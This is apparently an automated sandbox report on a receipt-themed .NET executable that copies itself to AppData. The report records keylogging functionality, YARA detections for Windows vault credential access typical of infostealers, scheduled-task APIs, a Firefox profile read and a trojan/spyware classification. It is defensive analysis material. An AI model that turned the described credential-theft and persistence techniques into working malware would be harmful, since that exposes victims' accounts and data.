Source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3231098043.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49724 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, K6raBsUk6.cs

.Net Code: kSX

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.daqfbrlrs.exe.2efdaec.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.Receipt_7814002.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.daqfbrlrs.exe.332b8c0.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Receipt_7814002.exe.4cac770.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Receipt_7814002.exe.317c100.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Receipt_7814002.exe.315d874.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.daqfbrlrs.exe.32d5860.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Receipt_7814002.exe.3107a74.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Receipt_7814002.exe

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_0130DA28	0_2_0130DA28
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_0130D368	0_2_0130D368
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_01453E78	0_2_01453E78
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_01453E88	0_2_01453E88
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_06C0D760	0_2_06C0D760
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_06BF0006	0_2_06BF0006
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 0_2_06BF0040	0_2_06BF0040
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014C4A98	3_2_014C4A98
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014C3E80	3_2_014C3E80
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014C41C8	3_2_014C41C8
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_014CA960	3_2_014CA960
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C4A178	3_2_06C4A178
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C565A8	3_2_06C565A8
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C55568	3_2_06C55568
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C53030	3_2_06C53030
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C5B1E8	3_2_06C5B1E8
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C5C150	3_2_06C5C150
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C57D40	3_2_06C57D40
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C57660	3_2_06C57660
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C5E360	3_2_06C5E360
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C50040	3_2_06C50040
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C55C9F	3_2_06C55C9F
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 3_2_06C50006	3_2_06C50006
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_02A7DA28	5_2_02A7DA28
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_02A7D368	5_2_02A7D368
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_04C13E10	5_2_04C13E10
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_04C1406C	5_2_04C1406C
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_04C13000	5_2_04C13000
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_04C13E00	5_2_04C13E00
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_04C12FF0	5_2_04C12FF0
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_06ADD760	5_2_06ADD760
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_06AC0006	5_2_06AC0006
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 5_2_06AC0040	5_2_06AC0040
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02DDDA28	6_2_02DDDA28
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02DDD368	6_2_02DDD368
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02E43E10	6_2_02E43E10
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02E4406C	6_2_02E4406C
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02E43000	6_2_02E43000
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02E43E00	6_2_02E43E00
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_02E42FF0	6_2_02E42FF0
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_06CDD760	6_2_06CDD760
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_06CC0040	6_2_06CC0040
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 6_2_06CC0007	6_2_06CC0007
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_00A3A950	7_2_00A3A950
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_00A34A98	7_2_00A34A98
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_00A33E80	7_2_00A33E80
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_00A341C8	7_2_00A341C8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0622A178	7_2_0622A178
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0622BC58	7_2_0622BC58
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06235568	7_2_06235568
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_062365A8	7_2_062365A8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06233030	7_2_06233030
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0623C150	7_2_0623C150
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0623B1E8	7_2_0623B1E8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06237D40	7_2_06237D40
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06237660	7_2_06237660
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06232330	7_2_06232330
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0623E360	7_2_0623E360
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_0623001F	7_2_0623001F
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06230040	7_2_06230040
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06235C9F	7_2_06235C9F
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 7_2_06230037	7_2_06230037
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_00F0A960	8_2_00F0A960
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_00F04A98	8_2_00F04A98
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_00F03E80	8_2_00F03E80
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_00F041C8	8_2_00F041C8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664A494	8_2_0664A494
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664A178	8_2_0664A178
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664BC58	8_2_0664BC58
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0664D810	8_2_0664D810
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06655568	8_2_06655568
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_066565A8	8_2_066565A8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06652340	8_2_06652340
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0665C150	8_2_0665C150
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0665B1F8	8_2_0665B1F8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06657D40	8_2_06657D40
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06657660	8_2_06657660
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_0665E360	8_2_0665E360
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06650040	8_2_06650040
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06655CB0	8_2_06655CB0
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06650021	8_2_06650021
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 8_2_06650037	8_2_06650037

Source: Receipt_7814002.exe

Static PE information: invalid certificate

Source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKryxux.dll" vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclrjit.dllT vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2369700519.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameKryxux.dll" vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2361626118.000000000107E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004B5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2364465182.000000000492B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameKryxux.dll" vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename53e63ebb-8719-4bea-af3f-f04371a728ed.exe4 vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000002E6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename53e63ebb-8719-4bea-af3f-f04371a728ed.exe4 vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000000.00000002.2374384643.00000000062F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000003.00000002.3231837526.0000000001139000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Receipt_7814002.exe
Source: Receipt_7814002.exe, 00000003.00000002.3231098043.0000000000439000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename53e63ebb-8719-4bea-af3f-f04371a728ed.exe4 vs Receipt_7814002.exe

Source: Receipt_7814002.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.daqfbrlrs.exe.2efdaec.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.Receipt_7814002.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.daqfbrlrs.exe.332b8c0.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Receipt_7814002.exe.4cac770.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Receipt_7814002.exe.317c100.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Receipt_7814002.exe.315d874.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.daqfbrlrs.exe.32d5860.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Receipt_7814002.exe.3107a74.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, c2bZQnG.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, c2bZQnG.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, Q1L0K.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, Q1L0K.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, uo1UBaEHa.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/4@2/4

Source: C:\Users\user\Desktop\Receipt_7814002.exe

File created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Mutant created: NULL

Source: Receipt_7814002.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Receipt_7814002.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Receipt_7814002.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Receipt_7814002.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Receipt_7814002.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

